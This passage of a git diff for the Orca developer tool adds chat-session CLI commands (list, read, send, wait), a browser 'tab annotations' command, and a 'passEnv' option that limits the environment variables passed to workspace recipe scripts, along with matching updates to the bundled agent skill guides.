 A full handoff transfers ownership to another agent or worktree, then the original agent stops. Treat requests phrased as "hand off", "handoff", "handover", "give this to another agent", "give this to another worktree", "another agent", or "another worktree" as full handoffs unless the user expects the result back ("have another agent review this and report") or explicitly asks to supervise, monitor, wait for results, track completion, coordinate a DAG, use decision gates, or manage ask/reply.
 
-A handoff is done when the new worktree id and agent handle have been reported and the prompt was delivered: the launch's `prompt.outcome` is `journaled` or `handed-to-terminal`, or, for an agent that was already running, the send receipt reported `accepted: true`. Do not wait for the receiving agent to finish.
+A handoff is done when the new worktree id and agent handle have been reported and the prompt was delivered: the launch's `prompt.outcome` is `journaled` or `handed-to-terminal`, or, for an agent that was already running, the `terminal send` receipt reported `accepted: true` or `chat send` reported `delivery` `submitted` or `queued`. Do not wait for the receiving agent to finish.
 
-Do not use `orca orchestration task-create`, `orca orchestration dispatch --inject`, or `orca orchestration check --wait` for full handoffs. `task-create` is also forbidden because it records coordinator-owned tracking state; if a task row is needed, the user asked for supervised orchestration. Deliver the prompt with the agent launch, or with terminal commands for an agent that is already running.
+Do not use `orca orchestration task-create`, `orca orchestration dispatch --inject`, or `orca orchestration check --wait` for full handoffs. `task-create` is also forbidden because it records coordinator-owned tracking state; if a task row is needed, the user asked for supervised orchestration. Deliver the prompt with the agent launch, or with `terminal send` or `chat send` for an agent that is already running.
 
 For local work in the caller’s project, omit `--repo` and `--project`. Pass one to target another project or when Orca asks you to disambiguate; do not pick a repo from a list for unambiguous same-project work. The project comes from the caller’s directory, not the project visible in the app. Paired-server calls require an explicit server-side target.
 
@@ -62,6 +62,14 @@ Existing-terminal handoff:
 ORCA terminal send --terminal <handle> --text "<task brief>" --enter --json
 ```
 
+Existing-chat handoff, for an agent that runs as a chat (`outcome.kind` `structured`):
+
+```text
+ORCA chat send --session <session> --text "<task brief>" --json
+ORCA chat send --session <session> --text "<message>" --wait --timeout-ms 600000 --json
+ORCA chat wait --session <session> --timeout-ms 600000 --json
+```
+
 ## Starting agents
 
 `worktree create --agent` (new checkout) and `agent launch` (existing worktree) are how to start an agent. They go through Orca's agent launch, the same one the app's new-agent tab uses: the user's Chat | CLI choice for that agent decides whether it opens as a chat or a terminal, and the result reports which (`outcome.kind`) and why (`receipt.detail`). When a chat is not possible, such as for an agent without chat support, the launch starts a terminal and the receipt says so. `--surface chat|terminal` picks one for that launch instead of the setting; pass it only when the user asked for a chat or a terminal. `--surface chat` is refused when Orca can establish before starting anything that the agent cannot open as a chat. If support cannot be checked, the launch can fall back to a terminal. If chat becomes unavailable only after a new workspace is created, Orca keeps that workspace, its setup and default tabs, then opens a terminal; the receipt explains the fallback. `terminal create` makes a terminal for shells and commands.
@@ -273,6 +281,24 @@ Terminal rules:
 - For long output, use cursor reads. After a limited tail preview, page from `oldestCursor`; after a cursor read, continue with `nextCursor` while `limited` is true and `nextCursor !== latestCursor`.
 - `--direction vertical` splits left/right. `--direction horizontal` splits top/bottom.
 
+## Chats
+
+Agents launched as chats are read and messaged with `chat`, not `terminal`. `chat list` names each chat's workspace, agent, state and last reply; `--session` takes the `session` it reports or the `handle` a launch returned.
+
+```text
+ORCA chat list --json
+ORCA chat list --state working --json
+ORCA chat read --session <session> --limit 10 --json
+ORCA chat send --session <session> --text "<message>" --json
+```
+
+- `chat read` returns messages, tool calls, errors, and approvals or questions; `pending: true` marks one waiting for the user.
+- `chat send` sends the text as the user's message. While the agent works, a host with a message queue holds it until the turn ends and reports `delivery: "queued"`.
+- A refused send was not delivered. Read the chat again before resending.
+- `chat send --wait` (or `chat wait`) returns when the chat settles, using `chat list` states: `settled: "done"`, or `"blocked"` on an approval or question, with the entries since the last user message; `settled: "timeout"` or `"held"` (queued message stopped or failed) exits 1. Pass `--timeout-ms`. Long or quoted text goes through `--text-file -` on stdin.
+- Paired hosts can `chat list` only; read, send and wait run on the host machine.
+- When relaying for a user from outside Orca (for example a voice or messaging assistant on the same machine), report from `chat list` and `chat read`, repeat an instruction back and get the user's confirmation before `chat send`, and send the user's words without adding instructions.
+
 <!-- host-capability: artifact-publishing -->
 
 ## Artifacts
@@ -282,8 +308,8 @@ Use them only when the user explicitly asks to publish through Orca. A generic r
 public link, page, or URL does not select Orca, and a provider the user names always wins.
 
 **Only a human can turn publishing on or off.** `share` and `update` need the device-wide
-setting under Settings → Artifacts ("Allow publishing public artifact links"); there is no
-CLI or RPC way to grant it. `list`, `unshare`, and `delete` are never gated, so old links
+setting under Settings → Artifacts ("Allow publishing public artifact links"), which is on
+for new profiles; there is no CLI or RPC way to grant it. `list`, `unshare`, and `delete` are never gated, so old links
 stay auditable and revocable.
 
 A denied share fails with `artifact_sharing_disabled` before any upload. Do not retry. Tell
diff --git a/skill-guides/orca-cli/references/browser.md b/skill-guides/orca-cli/references/browser.md
index d10112b75f0..8e9564eab9a 100644
--- a/skill-guides/orca-cli/references/browser.md
+++ b/skill-guides/orca-cli/references/browser.md
@@ -71,6 +71,7 @@ Browser rules:
 - Pass `--page <browserPageId>` on every command that acts on one page; `ORCA <command> --help` lists `--page` when it does. `tab list`, `tab current`, `tab create` and `open-url` take no `--page`, and `tab switch`/`tab close` pick a tab by `--index` or `--page`, never both, since `--page` wins. Take the ID from `result.tab.browserPageId` in `ORCA tab current --json` or `result.browserPageId` in `ORCA tab create --json` and keep it for the task; `tab current` shows the routed tab, not the one you pin. When the user means a specific tab, find it by URL or title in `ORCA tab list --json`.
 - Without `--page`, a command goes to the worktree's current tab. That stays the agent's tab while it has had a command in the last 20 seconds or so, even after the user picks another (`tab current` reports it too), then moves to the user's pick.
 - After `ORCA tab switch`, pass the new page's `browserPageId`.
+- When the user says they left notes or comments on a page, read them with `ORCA tab annotations --page <browserPageId>` (the current tab without `--page`). It prints the notes they haven't sent, the same text the tab's Copy button gives, and `--json` returns them in `result.annotations`. Notes the user already sent arrive in your chat instead.
 - A popup window a page opens (sign-in, payment) is listed in `ORCA tab list --json` as a `popup-<n>` page with `openerBrowserPageId`. If a click seems to do nothing, check `tab list`, then drive the popup with `--page popup-<n>`. When it closes, continue on the opener page.
 - Browser commands default to the current worktree. `--page` reaches the page in any worktree unless you also pass `--worktree <selector>`. Use `--worktree all` only intentionally.
 - `tab list` shows every tab in the tab bar. After a restart, tabs the user has not opened report `loaded: false`; `tab switch` or any `--page` command loads one in the background without changing the user's visible tab.
diff --git a/skill-guides/orca-per-workspace-env.md b/skill-guides/orca-per-workspace-env.md
index 6a7dfff336b..2ccc5e7cf9a 100644
--- a/skill-guides/orca-per-workspace-env.md
+++ b/skill-guides/orca-per-workspace-env.md
@@ -301,6 +301,17 @@ timeoutSeconds:
   destroy: 120
 ```
 
+Recipe scripts inherit Orca's whole environment by default, including any API keys and tokens in
+it. Set `passEnv` to pass only the variables the scripts need, as exact names or a prefix ending in
+`*`; `PATH`, `HOME`, `USER`, `SHELL`, `LANG`, `TMPDIR` and similar basics are always kept, and the
+`ORCA_*` recipe variables are always set. Recipes that use an SSH agent also need `SSH_AUTH_SOCK`,
+and provider CLIs need their own credential or config variables. A malformed `passEnv` is reported
+and limits the scripts to the basic variables until it is fixed.
+
+```yaml
+passEnv: [GH_TOKEN, GITHUB_TOKEN, 'CLOUDSDK_*']
+```
+
 A timed-out `create` may still have started a VM, so make `create` idempotent per
 `ORCA_VM_INSTANCE_ID` or have it record the resource before slow work starts.
 
diff --git a/src/cli/browser/browser-extension.ts b/src/cli/browser/browser-extension.ts
index 8a95b6c7a4a..471efb88e63 100644
--- a/src/cli/browser/browser-extension.ts
+++ b/src/cli/browser/browser-extension.ts
@@ -16,7 +16,7 @@ export const BROWSER_EXTENSION_HANDLERS: Record<string, CommandHandler> = {
     )
     printResult(result, json, ({ active, extensions }) =>
       !active
-        ? 'Browser extensions are disabled in Settings › Experimental.'
+        ? 'Browser extensions are turned off in Settings › Browser › Extensions.'
         : extensions.length === 0
           ? 'No browser extensions installed.'
           : extensions
diff --git a/src/cli/browser/browser-format.ts b/src/cli/browser/browser-format.ts
index 63a3d5d814f..ac3e7122022 100644
--- a/src/cli/browser/browser-format.ts
+++ b/src/cli/browser/browser-format.ts
@@ -1,10 +1,12 @@
 import { readBrowserActionEffects } from '../../shared/browser-action-effects'
 import { writeCliScreenshotTempFile } from '../cli-screenshot-temp-file'
 import type { RuntimeRpcSuccess } from '../../shared/runtime-rpc-envelope'
+import { formatBrowserAnnotationsAsMarkdown } from '../../shared/browser/annotations/browser-annotation-output'
 import type {
   BrowserProfileListResult,
   BrowserScreenshotResult,
   BrowserSnapshotResult,
+  BrowserTabAnnotationsResult,
   BrowserTabCurrentResult,
   BrowserTabListResult,
   BrowserTabProfileCloneResult,
@@ -132,6 +134,13 @@ export function formatTabShow(result: BrowserTabShowResult | BrowserTabCurrentRe
   ].join('\n')
 }
 
+// The same text the tab's Copy button gives, so an agent reads what the user would send.
+export function formatTabAnnotations(result: BrowserTabAnnotationsResult): string {
+  return result.annotations.length > 0
+    ? formatBrowserAnnotationsAsMarkdown(result.annotations)
+    : `No unsent notes on tab ${result.tab.browserPageId}`
+}
+
 export function formatTabProfileShow(result: BrowserTabProfileShowResult): string {
   return [
     `page: ${result.browserPageId}`,
diff --git a/src/cli/browser/browser-tab.ts b/src/cli/browser/browser-tab.ts
index 74edfe04e53..7ee72d93664 100644
--- a/src/cli/browser/browser-tab.ts
+++ b/src/cli/browser/browser-tab.ts
@@ -1,11 +1,17 @@
 import type {
+  BrowserTabAnnotationsResult,
   BrowserTabCurrentResult,
   BrowserTabListResult,
   BrowserTabShowResult,
   BrowserTabSwitchResult
 } from '../../shared/browser/runtime/runtime-browser-contracts'
 import type { CommandHandler } from '../dispatch'
-import { formatTabList, formatTabListWithProfiles, formatTabShow } from './browser-format'
+import {
+  formatTabAnnotations,
+  formatTabList,
+  formatTabListWithProfiles,
+  formatTabShow
+} from './browser-format'
 import { printResult } from '../format'
 import {
   getOptionalNonNegativeIntegerFlag,
@@ -42,6 +48,11 @@ export const BROWSER_TAB_HANDLERS: Record<string, CommandHandler> = {
     const result = await client.call<BrowserTabShowResult>('browser.tabShow', target)
     printResult(result, json, formatTabShow)
   },
+  'tab annotations': async ({ flags, client, cwd, json }) => {
+    const target = await getBrowserCommandTarget(flags, cwd, client)
+    const result = await client.call<BrowserTabAnnotationsResult>('browser.tabAnnotations', target)
+    printResult(result, json, formatTabAnnotations)
+  },
   'tab current': async ({ flags, client, cwd, json }) => {
     const worktree = await getBrowserWorktreeSelector(flags, cwd, client)
     const result = await client.call<BrowserTabCurrentResult>('browser.tabCurrent', { worktree })
diff --git a/src/cli/bundled-skill-guides.ts b/src/cli/bundled-skill-guides.ts
index 6aaf42ad5c4..f33c96a13e9 100644
--- a/src/cli/bundled-skill-guides.ts
+++ b/src/cli/bundled-skill-guides.ts
@@ -256,9 +256,9 @@ const ORCA_CLI_MARKDOWN = [
   "",
   "A full handoff transfers ownership to another agent or worktree, then the original agent stops. Treat requests phrased as \"hand off\", \"handoff\", \"handover\", \"give this to another agent\", \"give this to another worktree\", \"another agent\", or \"another worktree\" as full handoffs unless the user expects the result back (\"have another agent review this and report\") or explicitly asks to supervise, monitor, wait for results, track completion, coordinate a DAG, use decision gates, or manage ask/reply.",
   "",
-  "A handoff is done when the new worktree id and agent handle have been reported and the prompt was delivered: the launch's `prompt.outcome` is `journaled` or `handed-to-terminal`, or, for an agent that was already running, the send receipt reported `accepted: true`. Do not wait for the receiving agent to finish.",
+  "A handoff is done when the new worktree id and agent handle have been reported and the prompt was delivered: the launch's `prompt.outcome` is `journaled` or `handed-to-terminal`, or, for an agent that was already running, the `terminal send` receipt reported `accepted: true` or `chat send` reported `delivery` `submitted` or `queued`. Do not wait for the receiving agent to finish.",
   "",
-  "Do not use `orca orchestration task-create`, `orca orchestration dispatch --inject`, or `orca orchestration check --wait` for full handoffs. `task-create` is also forbidden because it records coordinator-owned tracking state; if a task row is needed, the user asked for supervised orchestration. Deliver the prompt with the agent launch, or with terminal commands for an agent that is already running.",
+  "Do not use `orca orchestration task-create`, `orca orchestration dispatch --inject`, or `orca orchestration check --wait` for full handoffs. `task-create` is also forbidden because it records coordinator-owned tracking state; if a task row is needed, the user asked for supervised orchestration. Deliver the prompt with the agent launch, or with `terminal send` or `chat send` for an agent that is already running.",
   "",
   "For local work in the caller’s project, omit `--repo` and `--project`. Pass one to target another project or when Orca asks you to disambiguate; do not pick a repo from a list for unambiguous same-project work. The project comes from the caller’s directory, not the project visible in the app. Paired-server calls require an explicit server-side target.",
   "",
@@ -290,6 +290,14 @@ const ORCA_CLI_MARKDOWN = [
   "ORCA terminal send --terminal <handle> --text \"<task brief>\" --enter --json",
   "```",
   "",
+  "Existing-chat handoff, for an agent that runs as a chat (`outcome.kind` `structured`):",
+  "",
+  "```text",
+  "ORCA chat send --session <session> --text \"<task brief>\" --json",
+  "ORCA chat send --session <session> --text \"<message>\" --wait --timeout-ms 600000 --json",
+  "ORCA chat wait --session <session> --timeout-ms 600000 --json",
+  "```",
+  "",
   "## Starting agents",
   "",
   "`worktree create --agent` (new checkout) and `agent launch` (existing worktree) are how to start an agent. They go through Orca's agent launch, the same one the app's new-agent tab uses: the user's Chat | CLI choice for that agent decides whether it opens as a chat or a terminal, and the result reports which (`outcome.kind`) and why (`receipt.detail`). When a chat is not possible, such as for an agent without chat support, the launch starts a terminal and the receipt says so. `--surface chat|terminal` picks one for that launch instead of the setting; pass it only when the user asked for a chat or a terminal. `--surface chat` is refused when Orca can establish before starting anything that the agent cannot open as a chat. If support cannot be checked, the launch can fall back to a terminal. If chat becomes unavailable only after a new workspace is created, Orca keeps that workspace, its setup and default tabs, then opens a terminal; the receipt explains the fallback. `terminal create` makes a terminal for shells and commands.",
@@ -501,6 +509,24 @@ const ORCA_CLI_MARKDOWN = [
   "- For long output, use cursor reads. After a limited tail preview, page from `oldestCursor`; after a cursor read, continue with `nextCursor` while `limited` is true and `nextCursor !== latestCursor`.",
   "- `--direction vertical` splits left/right. `--direction horizontal` splits top/bottom.",
   "",
+  "## Chats",
+  "",
+  "Agents launched as chats are read and messaged with `chat`, not `terminal`. `chat list` names each chat's workspace, agent, state and last reply; `--session` takes the `session` it reports or the `handle` a launch returned.",
+  "",
+  "```text",
+  "ORCA chat list --json",
+  "ORCA chat list --state working --json",
+  "ORCA chat read --session <session> --limit 10 --json",
+  "ORCA chat send --session <session> --text \"<message>\" --json",
+  "```",
+  "",
+  "- `chat read` returns messages, tool calls, errors, and approvals or questions; `pending: true` marks one waiting for the user.",
+  "- `chat send` sends the text as the user's message. While the agent works, a host with a message queue holds it until the turn ends and reports `delivery: \"queued\"`.",
+  "- A refused send was not delivered. Read the chat again before resending.",
+  "- `chat send --wait` (or `chat wait`) returns when the chat settles, using `chat list` states: `settled: \"done\"`, or `\"blocked\"` on an approval or question, with the entries since the last user message; `settled: \"timeout\"` or `\"held\"` (queued message stopped or failed) exits 1. Pass `--timeout-ms`. Long or quoted text goes through `--text-file -` on stdin.",
+  "- Paired hosts can `chat list` only; read, send and wait run on the host machine.",
+  "- When relaying for a user from outside Orca (for example a voice or messaging assistant on the same machine), report from `chat list` and `chat read`, repeat an instruction back and get the user's confirmation before `chat send`, and send the user's words without adding instructions.",
+  "",
   "<!-- host-capability: artifact-publishing -->",
   "",
   "## Artifacts",
@@ -510,8 +536,8 @@ const ORCA_CLI_MARKDOWN = [
   "public link, page, or URL does not select Orca, and a provider the user names always wins.",
   "",
   "**Only a human can turn publishing on or off.** `share` and `update` need the device-wide",
-  "setting under Settings → Artifacts (\"Allow publishing public artifact links\"); there is no",
-  "CLI or RPC way to grant it. `list`, `unshare`, and `delete` are never gated, so old links",
+  "setting under Settings → Artifacts (\"Allow publishing public artifact links\"), which is on",
+  "for new profiles; there is no CLI or RPC way to grant it. `list`, `unshare`, and `delete` are never gated, so old links",
   "stay auditable and revocable.",
   "",
   "A denied share fails with `artifact_sharing_disabled` before any upload. Do not retry. Tell",
@@ -740,6 +766,7 @@ const ORCA_CLI_BROWSER_REFERENCE_MARKDOWN = [
   "- Pass `--page <browserPageId>` on every command that acts on one page; `ORCA <command> --help` lists `--page` when it does. `tab list`, `tab current`, `tab create` and `open-url` take no `--page`, and `tab switch`/`tab close` pick a tab by `--index` or `--page`, never both, since `--page` wins. Take the ID from `result.tab.browserPageId` in `ORCA tab current --json` or `result.browserPageId` in `ORCA tab create --json` and keep it for the task; `tab current` shows the routed tab, not the one you pin. When the user means a specific tab, find it by URL or title in `ORCA tab list --json`.",
   "- Without `--page`, a command goes to the worktree's current tab. That stays the agent's tab while it has had a command in the last 20 seconds or so, even after the user picks another (`tab current` reports it too), then moves to the user's pick.",
   "- After `ORCA tab switch`, pass the new page's `browserPageId`.",
+  "- When the user says they left notes or comments on a page, read them with `ORCA tab annotations --page <browserPageId>` (the current tab without `--page`). It prints the notes they haven't sent, the same text the tab's Copy button gives, and `--json` returns them in `result.annotations`. Notes the user already sent arrive in your chat instead.",
   "- A popup window a page opens (sign-in, payment) is listed in `ORCA tab list --json` as a `popup-<n>` page with `openerBrowserPageId`. If a click seems to do nothing, check `tab list`, then drive the popup with `--page popup-<n>`. When it closes, continue on the opener page.",
   "- Browser commands default to the current worktree. `--page` reaches the page in any worktree unless you also pass `--worktree <selector>`. Use `--worktree all` only intentionally.",
   "- `tab list` shows every tab in the tab bar. After a restart, tabs the user has not opened report `loaded: false`; `tab switch` or any `--page` command loads one in the background without changing the user's visible tab.",
@@ -2087,6 +2114,17 @@ const ORCA_PER_WORKSPACE_ENV_MARKDOWN = [
   "  destroy: 120",
   "```",
   "",
+  "Recipe scripts inherit Orca's whole environment by default, including any API keys and tokens in",
+  "it. Set `passEnv` to pass only the variables the scripts need, as exact names or a prefix ending in",
+  "`*`; `PATH`, `HOME`, `USER`, `SHELL`, `LANG`, `TMPDIR` and similar basics are always kept, and the",
+  "`ORCA_*` recipe variables are always set. Recipes that use an SSH agent also need `SSH_AUTH_SOCK`,",
+  "and provider CLIs need their own credential or config variables. A malformed `passEnv` is reported",
+  "and limits the scripts to the basic variables until it is fixed.",
+  "",
+  "```yaml",
+  "passEnv: [GH_TOKEN, GITHUB_TOKEN, 'CLOUDSDK_*']",
+  "```",
+  "",
   "A timed-out `create` may still have started a VM, so make `create` idempotent per",
   "`ORCA_VM_INSTANCE_ID` or have it record the resource before slow work starts.",
   "",
diff --git a/src/cli/chat-history.ts b/src/cli/chat-history.ts
new file mode 100644
index 00000000000..db4c70730cd
--- /dev/null
+++ b/src/cli/chat-history.ts
@@ -0,0 +1,168 @@
+import type {
+  AgentSessionHistoryPage,
+  AgentSessionHistoryResult
+} from '../shared/agent-session/agent-session-wire'
+import { AGENT_SESSION_HISTORY_MAX_LIMIT } from '../shared/agent-session/agent-session-wire'
+import {
+  AGENT_SESSION_UNATTACHED_REFUSAL_CODE,
+  isUnattachedAgentSessionReadRefusal
+} from '../shared/agent-session/failures/structured-agent-session-read-refusal'
+import { structuredAgentSessionQueueSendsNext } from '../shared/agent-session/view/structured-agent-session-live-turn'
+import { chatTranscript, formatChatRead, type ChatTranscriptEntry } from './chat-sessions'
+import type { RuntimeClient, RuntimeRpcSuccess } from './runtime-client'
+import { RuntimeClientError } from './runtime-client'
+
+export const DEFAULT_READ_LIMIT = 20
+const WAIT_POLL_MS = 1000
+
+export type ChatTranscript = {
+  session: string
+  entries: ChatTranscriptEntry[]
+  /** Newest journal row read, so a later `--since` can continue from it. */
+  cursor: AgentSessionHistoryPage['window']['newest']
+  /** Older rows exist that this 200-row read did not reach, and they were needed. */
+  truncated: boolean
+}
+/** The chat's own turn in `chat list` words (structuredAgentSessionLeadState), plus two wait-only outcomes. */
+export type ChatSettled = 'done' | 'blocked' | 'held' | 'timeout'
+
+export async function readHistory(
+  client: RuntimeClient,
+  session: string,
+  limit: number
+): Promise<RuntimeRpcSuccess<AgentSessionHistoryResult>> {
+  return client
+    .call<AgentSessionHistoryResult>('agentSession.history', {
+      sessionId: session,
+      direction: 'tail',
+      limit
+    })
+    .catch((error: unknown) => {
+      throw explainChatRefusal(error, session, 'read')
+    })
+}
+
+export async function readTranscript(
+  client: RuntimeClient,
+  session: string,
+  limit?: number
+): Promise<RuntimeRpcSuccess<ChatTranscript>> {
+  // Status frames and turn markers share the journal, so read the most rows a page allows.
+  const response = await readHistory(client, session, AGENT_SESSION_HISTORY_MAX_LIMIT)
+  const { page } = response.result
+  const all = chatTranscript(page.items, page.actionablePromptIds)
+  const entries = limit === undefined ? all : all.slice(-limit)
+  const truncated = page.hasOlder && (limit === undefined || all.length < limit)
+  return { ...response, result: { session, entries, cursor: page.window.newest, truncated } }
+}
+
+export function requireWorkingFlag(page: AgentSessionHistoryPage): void {
+  if (page.working === undefined) {
+    throw new RuntimeClientError(
+      'incompatible_runtime',
+      'This Orca host does not report when a chat is working, so it cannot wait. Update Orca on the host.'
+    )
+  }
+}
+
+// Settled means no running turn or unanswered send, or a question/approval waiting for the user.
+export async function waitForChat(
+  client: RuntimeClient,
+  session: string,
+  timeoutMs: number | undefined,
+  queuedMessageId?: string
+): Promise<ChatSettled> {
+  const deadline = timeoutMs === undefined ? Infinity : Date.now() + timeoutMs
+  for (;;) {
+    const { page } = (await readHistory(client, session, 1)).result
+    requireWorkingFlag(page)
+    if ((page.actionablePromptIds?.length ?? 0) > 0) {
+      return 'blocked'
+    }
+    // Between turns the host names its next automatic send while working is briefly false.
+    const sendsNext = structuredAgentSessionQueueSendsNext(
+      page.nextQueuedMessageId,
+      page.working === true
+    )
+    if (!page.working && !sendsNext) {
+      // Still queued with nothing running or about to send: stopped, failed or held across a reopen.
+      const held = page.queuedMessages?.some((m) => m.messageId === queuedMessageId) === true
+      return held ? 'held' : 'done'
+    }
+    if (Date.now() >= deadline) {
+      return 'timeout'
+    }
+    await new Promise((resolve) => setTimeout(resolve, WAIT_POLL_MS))
+  }
+}
+
+// After a wait, the turn's entries: everything after the last user message.
+export async function readSettledTurn(
+  client: RuntimeClient,
+  session: string,
+  settled: ChatSettled
+): Promise<RuntimeRpcSuccess<ChatTranscript & { settled: ChatSettled }>> {
+  if (settled === 'timeout' || settled === 'held') {
+    // Chained commands such as `send --wait && ...` need a failing exit when the chat did not settle.
+    process.exitCode = 1
+  }
+  const response = await readTranscript(client, session)
+  const { entries, truncated } = response.result
+  const lastUser = entries.findLastIndex((e) => e.kind === 'message' && e.role === 'user')
+  // A held message never ran, so the last turn on the page is not its reply.
+  const turn = settled === 'held' ? [] : entries.slice(lastUser + 1)
+  return {
+    ...response,
+    result: {
+      ...response.result,
+      entries: turn,
+      truncated: settled !== 'held' && truncated && lastUser === -1,
+      settled
+    }
+  }
+}
+
+export function formatSettled(result: ChatTranscript & { settled: ChatSettled }): string {
+  const status =
+    result.settled === 'timeout'
+      ? 'Still working when the wait timed out.'
+      : result.settled === 'held'
+        ? 'Your message is held in the queue (the chat was stopped or the send failed). Resume it in Orca.'
+        : result.settled === 'blocked'
+          ? 'Blocked: waiting for you to answer an approval or question.'
+          : 'Done.'
+  return result.entries.length === 0 ? status : `${formatChatRead(result)}\n${status}`
+}
+
+// The host answers with bare wire codes; say what they mean for this command.
+export function explainChatRefusal(
+  error: unknown,
+  sessionId: string,
+  action: 'rename' | 'read' | 'send to'
+): unknown {
+  if (!(error instanceof RuntimeClientError)) {
+    return error
+  }
+  if (error.message === 'agent_session_identity_required') {
+    return new RuntimeClientError(
+      'agent_session_identity_required',
+      `No chat with session id ${sessionId} on this host.`
+    )
+  }
+  if (isUnattachedAgentSessionReadRefusal(error)) {
+    return new RuntimeClientError(
+      AGENT_SESSION_UNATTACHED_REFUSAL_CODE,
+      `No open chat with session id ${sessionId} on this host. Find it with \`orca chat list\`.`
+    )
+  }
+  if (
+    error.message === 'structured_agent_session_unsupported' ||
+    error.code === 'method_not_found'
+  ) {
+    return new RuntimeClientError(
+      'incompatible_runtime',
+      `This Orca host cannot ${action} chats from the CLI. Update Orca on that host, or check that it has chats turned on.`
+    )
+  }
+  return error
+}
diff --git a/src/cli/chat-sessions.ts b/src/cli/chat-sessions.ts
new file mode 100644
index 00000000000..e88453284f6
--- /dev/null
+++ b/src/cli/chat-sessions.ts
@@ -0,0 +1,175 @@
+import { agentSessionPromptQuestions } from '../shared/agent-session/agent-session-question-answer'
+import { isActionableStructuredAgentSessionPrompt } from '../shared/agent-session/view/structured-agent-session-live-turn'
+import { isRootAgentJournalItem } from '../shared/agent-session/journal/agent-session-journal-producer'
+import type { AgentJournalRenderItem } from '../shared/agent-session/journal/agent-session-journal-types'
+import type {
+  RuntimeWorktreeAgentRow,
+  RuntimeWorktreePsSummary
+} from '../shared/runtime-worktree-contracts'
+import { structuredAgentSessionTabId } from '../shared/agent-session/view/structured-agent-session-projection'
+import { RuntimeClientError } from './runtime-client'
+
+const CHAT_HANDLE_PREFIX = structuredAgentSessionTabId('')
+
+export type ChatSessionEntry = {
+  session: string
+  handle: string
+  worktreeId: string
+  worktree: string
+  agentType: string | null
+  state: RuntimeWorktreeAgentRow['state']
+  title: string | null
+  lastAssistantMessage: string | null
+  updatedAt: number
+}
+
+export type ChatTranscriptEntry =
+  | { kind: 'message'; role: string; text: string }
+  | { kind: 'tool'; name: string; state: string }
+  | { kind: 'approval' | 'question'; text: string; pending: boolean }
+  | { kind: 'error'; text: string }
+
+/** The session id a chat is addressed by, from its id, its handle, or a pane key that names it. */
+export function parseChatSessionSelector(value: string): string {
+  const withoutHandle = value.startsWith(CHAT_HANDLE_PREFIX)
+    ? value.slice(CHAT_HANDLE_PREFIX.length)
+    : value
+  // A pane key is the chat's handle and its leaf: "<handle>:<leaf>".
+  const session = withoutHandle.split(':')[0]?.trim() ?? ''
+  if (session.length === 0) {
+    throw new RuntimeClientError(
+      'invalid_argument',
+      '--session needs a chat session id or handle; run `orca chat list` to find one.'
+    )
+  }
+  return session
+}
+
+/** The top-level chats in a worktree summary. Terminal agents and subagents are left out:
+ *  terminals are read with `orca terminal`, and a subagent is reached through its parent chat. */
+export function listChatSessions(
+  worktrees: readonly RuntimeWorktreePsSummary[]
+): ChatSessionEntry[] {
+  return worktrees.flatMap((worktree) =>
+    worktree.agents
+      .filter(
+        (agent) => agent.parentPaneKey === null && agent.paneKey.startsWith(CHAT_HANDLE_PREFIX)
+      )
+      .map((agent) => {
+        const session = parseChatSessionSelector(agent.paneKey)
+        return {
+          session,
+          handle: structuredAgentSessionTabId(session),
+          worktreeId: worktree.worktreeId,
+          worktree: worktree.displayName,
+          agentType: agent.agentType,
+          state: agent.state,
+          title: agent.displayName ?? agent.taskTitle,
+          lastAssistantMessage: agent.lastAssistantMessage,
+          updatedAt: agent.updatedAt
+        }
+      })
+  )
+}
+
+function messageText(item: AgentJournalRenderItem): string {
+  if (item.body.kind !== 'message') {
+    return ''
+  }
+  return item.body.blocks
+    .map((block) =>
+      block.type === 'text' ? block.text : block.type === 'image-ref' ? '[image]' : ''
+    )
+    .filter((text) => text.length > 0)
+    .join('\n')
+    .trim()
+}
+
+/** The conversation as a reader follows it: messages, the tools the agent ran, and the
+ *  approvals and questions it raised. Provider status frames and turn markers are left out. */
+export function chatTranscript(
+  items: readonly AgentJournalRenderItem[],
+  actionablePromptIds?: readonly string[]
+): ChatTranscriptEntry[] {
+  // An ended agent's unanswered prompts stay pending in the journal but can no longer be answered.
+  const waiting = (item: AgentJournalRenderItem, state: string): boolean =>
+    state === 'pending' &&
+    isActionableStructuredAgentSessionPrompt(item.itemId, actionablePromptIds)
+  const entries: ChatTranscriptEntry[] = []
+  for (const item of items) {
+    // Subagents share the journal; their rows belong to their own section, not the chat's turn.
+    if (!isRootAgentJournalItem(item)) {
+      continue
+    }
+    const body = item.body
+    if (body.kind === 'message') {
+      const text = messageText(item)
+      // Reasoning is the model's scratch work, folded away in the app too.
+      if (text.length > 0 && body.role !== 'reasoning') {
+        entries.push({ kind: 'message', role: body.role, text })
+      }
+    } else if (body.kind === 'status' && body.tone === 'error') {
+      // Start failures and dead agents land as error status rows; without them a wait reads "Done.".
+      entries.push({ kind: 'error', text: String(body.text) })
+    } else if (body.kind === 'tool-call') {
+      entries.push({ kind: 'tool', name: body.name, state: body.state })
+    } else if (body.kind === 'approval') {
+      entries.push({
+        kind: 'approval',
+        text: body.title,
+        pending: waiting(item, body.resolution.state)
+      })
+    } else if (body.kind === 'question') {
+      entries.push({
+        kind: 'question',
+        // Grouped prompts keep their real questions in `questions`; `question` is then a heading.
+        text: agentSessionPromptQuestions(body)
+          .map((q) => q.question)
+          .join('\n'),
+        pending: waiting(item, body.resolution.state)
+      })
+    }
+  }
+  return entries
+}
+
+export function formatChatList(result: { chats: ChatSessionEntry[] }): string {
+  if (result.chats.length === 0) {
+    return 'No chats.'
+  }
+  return result.chats
+    .map((chat) =>
+      [
+        `${chat.worktree} · ${chat.agentType ?? 'agent'} · ${chat.state}`,
+        `  session: ${chat.session}`,
+        ...(chat.title ? [`  title: ${chat.title}`] : []),
+        ...(chat.lastAssistantMessage
+          ? [`  last reply: ${chat.lastAssistantMessage.replace(/\s+/g, ' ').slice(0, 200)}`]
+          : [])
+      ].join('\n')
+    )
+    .join('\n\n')
+}
+
+export function formatChatRead(result: {
+  session: string
+  entries: ChatTranscriptEntry[]
+}): string {
+  if (result.entries.length === 0) {
+    return `No messages in ${result.session}.`
+  }
+  return result.entries
+    .map((entry) => {
+      if (entry.kind === 'message') {
+        return `${entry.role}: ${entry.text}`
+      }
+      if (entry.kind === 'error') {
+        return `[error] ${entry.text}`
+      }
+      if (entry.kind === 'tool') {
+        return `[tool ${entry.name}: ${entry.state}]`
+      }
+      return `[${entry.kind}${entry.pending ? ', waiting for you' : ''}] ${entry.text}`
+    })
+    .join('\n')
+}
diff --git a/src/cli/command-scoped-flag-help.ts b/src/cli/command-scoped-flag-help.ts
